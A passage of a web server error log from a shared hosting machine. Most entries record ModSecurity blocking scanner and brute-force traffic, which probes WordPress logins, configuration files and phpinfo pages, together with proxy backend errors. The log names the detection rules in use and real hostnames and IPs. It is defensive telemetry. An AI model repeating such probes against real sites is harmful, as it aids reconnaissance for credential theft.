succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3017V-dFiaX9AtWiQxCQAAARk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:56.065257 2026] [security2:error] [pid 715691:tid 715861] [client 185.199.157.15:32571] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-config-sample.php"] [unique_id "ai302LV-dFiaX9AtWiQxDQAAAR4"] [Sat Jun 13 18:24:56.078496 2026] [security2:error] [pid 715691:tid 715778] [remote 17.246.23.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302LV-dFiaX9AtWiQxDwABYEM"] [Sat Jun 13 18:24:56.110434 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:24:56.110718 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:24:56.110999 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.85:53086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:56.111258 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.85:53086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:56.113513 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.94:34942] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:56.113801 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.94:34942] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:56.191567 2026] [security2:error] [pid 715691:tid 715944] [client 159.223.112.69:40794] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302LV-dFiaX9AtWiQxFwAAAXE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:56.263320 2026] [security2:error] [pid 715691:tid 715930] [client 45.61.184.21:61645] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "docelar.biz"] [uri "/"] [unique_id "ai302LV-dFiaX9AtWiQxGAAAAWM"] [Sat Jun 13 18:24:56.318370 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.31:28588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:56.318650 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.31:28588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:56.356587 2026] [access_compat:error] [pid 715691:tid 715745] [remote 57.141.14.45:54548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:56.356888 2026] [access_compat:error] [pid 715691:tid 715745] [remote 57.141.14.45:54548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:56.410306 2026] [security2:error] [pid 646876:tid 647016] [client 159.223.112.69:40806] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302NyTkdrNlD40tSHcWgAAAAg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:56.630194 2026] [security2:error] [pid 715691:tid 715850] [client 159.223.112.69:40816] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302LV-dFiaX9AtWiQxJQAAARM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:56.642277 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.18:20908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:56.642601 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.18:20908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:56.651846 2026] [security2:error] [pid 646876:tid 647053] [client 85.208.98.194:6748] ModSecurity: Warning. Matched phrase "Semrush" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "302"] [hostname "eswest.com"] [uri "/robots.txt"] [unique_id "ai302NyTkdrNlD40tSHcYAAAAC0"] [Sat Jun 13 18:24:56.688965 2026] [security2:error] [pid 715691:tid 715863] [client 185.199.157.19:38915] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-includes/speculative8.php"] [unique_id "ai302LV-dFiaX9AtWiQxJwAAASA"] [Sat Jun 13 18:24:56.708211 2026] [security2:error] [pid 646876:tid 646897] [remote 17.22.237.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302NyTkdrNlD40tSHcYQAAGRI"] [Sat Jun 13 18:24:56.746840 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMx [Sat Jun 13 18:24:56.747126 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMx [Sat Jun 13 18:24:56.771498 2026] [security2:error] [pid 646876:tid 647008] [client 85.208.98.194:6748] ModSecurity: Warning. Matched phrase "Semrush" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "eswest.com"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "ai302NyTkdrNlD40tSHcYgAAAAA"] [Sat Jun 13 18:24:56.826359 2026] [security2:error] [pid 715691:tid 715918] [client 91.92.42.86:49760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302LV-dFiaX9AtWiQxMwAAAVc"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.849455 2026] [security2:error] [pid 715691:tid 715922] [client 159.223.112.69:40828] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302LV-dFiaX9AtWiQxNwAAAVs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:56.852014 2026] [security2:error] [pid 646876:tid 647060] [client 91.92.42.86:49780] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302NyTkdrNlD40tSHcaAAAADQ"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.858463 2026] [security2:error] [pid 715691:tid 715924] [client 91.92.42.86:49796] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302LV-dFiaX9AtWiQxOAAAAV0"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.863729 2026] [security2:error] [pid 715691:tid 715947] [client 91.92.42.86:49818] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302LV-dFiaX9AtWiQxOQAAAXQ"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.896332 2026] [proxy:error] [pid 715691:tid 715940] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.896422 2026] [proxy_http:error] [pid 715691:tid 715940] [client 91.92.42.86:49848] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.897659 2026] [proxy:error] [pid 715691:tid 715894] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.897730 2026] [proxy_http:error] [pid 715691:tid 715894] [client 91.92.42.86:49824] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.898458 2026] [proxy:error] [pid 715691:tid 715894] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.898505 2026] [proxy_http:error] [pid 715691:tid 715894] [client 91.92.42.86:49824] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.901118 2026] [proxy:error] [pid 715691:tid 715940] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.901197 2026] [proxy_http:error] [pid 715691:tid 715940] [client 91.92.42.86:49848] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.912168 2026] [security2:error] [pid 646876:tid 647126] [client 91.92.42.86:49890] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302NyTkdrNlD40tSHccQAAAHY"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.916888 2026] [proxy:error] [pid 646876:tid 647099] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.917010 2026] [proxy_http:error] [pid 646876:tid 647099] [client 91.92.42.86:49916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.918170 2026] [proxy:error] [pid 646876:tid 647099] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.918246 2026] [proxy_http:error] [pid 646876:tid 647099] [client 91.92.42.86:49916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.919247 2026] [security2:error] [pid 646876:tid 647079] [client 91.92.42.86:49866] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302NyTkdrNlD40tSHccgAAAEc"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.921042 2026] [proxy:error] [pid 715691:tid 715945] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.921119 2026] [proxy_http:error] [pid 715691:tid 715945] [client 91.92.42.86:49944] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.923421 2026] [security2:error] [pid 715691:tid 715847] [client 91.92.42.86:49936] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302LV-dFiaX9AtWiQxQQAAARA"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.923449 2026] [proxy:error] [pid 715691:tid 715945] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.923502 2026] [proxy_http:error] [pid 715691:tid 715945] [client 91.92.42.86:49944] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.926515 2026] [security2:error] [pid 646876:tid 647109] [client 91.92.42.86:49964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302NyTkdrNlD40tSHccwAAAGU"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.931496 2026] [security2:error] [pid 715691:tid 715888] [client 91.92.42.86:49982] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302LV-dFiaX9AtWiQxQgAAATk"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.943014 2026] [security2:error] [pid 646876:tid 647040] [client 91.92.42.86:49868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302NyTkdrNlD40tSHceAAAACA"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.945179 2026] [security2:error] [pid 715691:tid 715898] [client 91.92.42.86:49994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302LV-dFiaX9AtWiQxRAAAAUM"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.947953 2026] [security2:error] [pid 646876:tid 647054] [client 91.92.42.86:49900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302NyTkdrNlD40tSHceQAAAC4"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.956118 2026] [security2:error] [pid 646876:tid 647034] [client 91.92.42.86:49972] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302NyTkdrNlD40tSHcewAAABo"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.958005 2026] [security2:error] [pid 646876:tid 647111] [client 91.92.42.86:49880] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302NyTkdrNlD40tSHcfQAAAGc"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.963661 2026] [security2:error] [pid 646876:tid 647107] [client 91.92.42.86:49950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302NyTkdrNlD40tSHcgAAAAGM"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.979231 2026] [security2:error] [pid 715691:tid 715917] [client 91.92.42.86:50010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302LV-dFiaX9AtWiQxRgAAAVY"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.981179 2026] [security2:error] [pid 715691:tid 715852] [client 91.92.42.86:50058] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302LV-dFiaX9AtWiQxRwAAARU"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.983935 2026] [security2:error] [pid 715691:tid 715927] [client 91.92.42.86:50044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302LV-dFiaX9AtWiQxSAAAAWA"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.985156 2026] [security2:error] [pid 646876:tid 647096] [client 91.92.42.86:50034] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302NyTkdrNlD40tSHcggAAAFg"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.985580 2026] [security2:error] [pid 715691:tid 715903] [client 91.92.42.86:50080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302LV-dFiaX9AtWiQxSQAAAUg"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.995945 2026] [proxy:error] [pid 715691:tid 715946] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.996034 2026] [proxy_http:error] [pid 715691:tid 715946] [client 91.92.42.86:50032] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.998171 2026] [proxy:error] [pid 715691:tid 715946] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.998244 2026] [proxy_http:error] [pid 715691:tid 715946] [client 91.92.42.86:50032] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.998249 2026] [proxy:error] [pid 646876:tid 647039] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.998315 2026] [proxy_http:error] [pid 646876:tid 647039] [client 91.92.42.86:50068] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:56.999623 2026] [proxy:error] [pid 646876:tid 647039] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:56.999692 2026] [proxy_http:error] [pid 646876:tid 647039] [client 91.92.42.86:50068] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.012684 2026] [security2:error] [pid 715691:tid 715739] [remote 17.241.227.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id 